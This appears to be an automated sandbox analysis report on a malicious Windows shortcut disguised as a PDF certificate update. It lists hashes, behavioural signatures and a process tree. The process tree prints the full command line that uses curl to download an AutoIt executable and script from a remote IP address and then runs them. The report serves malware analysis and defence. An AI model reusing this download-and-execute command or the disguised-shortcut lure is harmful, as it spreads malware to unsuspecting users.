Analysis
-
max time kernel
148s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20230831-en -
resource tags
arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system -
submitted
14/09/2023, 12:33
Static task
static1
Behavioral task
behavioral1
Sample
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
Resource
win10v2004-20230831-en
Behavioral task
behavioral3
Sample
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
Resource
macos-20230831-en
Behavioral task
behavioral4
Sample
Security Certificate Update Guide.pdf.lnk
Resource
win7-20230831-en
Behavioral task
behavioral5
Sample
Security Certificate Update Guide.pdf.lnk
Resource
win10v2004-20230831-en
Behavioral task
behavioral6
Sample
Security Certificate Update Guide.pdf.lnk
Resource
macos-20230831-en
General
-
Target
Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk
-
Size
1KB
-
MD5
0fad99c622ad5b86b8fc8a9ed327e945
-
SHA1
85eb43846480e91ff4dee61acfac8de2624a9533
-
SHA256
4b927aa4c6ef461fb21f23cebf8d8e890801f70c06d72926befd0ce146bc7852
-
SHA512
810b1b84d368e6c591293a7cfc61aa166bc375e7876bf125184bf71df39af281b37eb5008a1d46c6e73d0ce7b76ae93c564f8173b63b1320f60a51d2864a7d6a
Malware Config
Signatures
-
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4272677097-406801653-1594978504-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 3552 Autoit3.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeManageVolumePrivilege 320 svchost.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 3876 wrote to memory of 3752 3876 cmd.exe 86 PID 3876 wrote to memory of 3752 3876 cmd.exe 86 PID 3752 wrote to memory of 4616 3752 cmd.exe 87 PID 3752 wrote to memory of 4616 3752 cmd.exe 87 PID 3752 wrote to memory of 3552 3752 cmd.exe 95 PID 3752 wrote to memory of 3552 3752 cmd.exe 95 PID 3752 wrote to memory of 3552 3752 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Security Certificate Critical Update v4321.81178 14 Sept 2023.pdf.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3876 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" "http://5.188.87.58:2351/msimdvyknat" & "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" & exit2⤵
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Windows\system32\curl.execurl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3" "http://5.188.87.58:2351/msimdvyknat"3⤵PID:4616
-
-
C:\Users\Admin\AppData\Local\Temp\Autoit3.exe"C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\mdvyknat.au3"3⤵
- Executes dropped EXE
PID:3552
-
-
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe1⤵PID:5040
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k UnistackSvcGroup1⤵
- Suspicious use of AdjustPrivilegeToken
PID:320
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c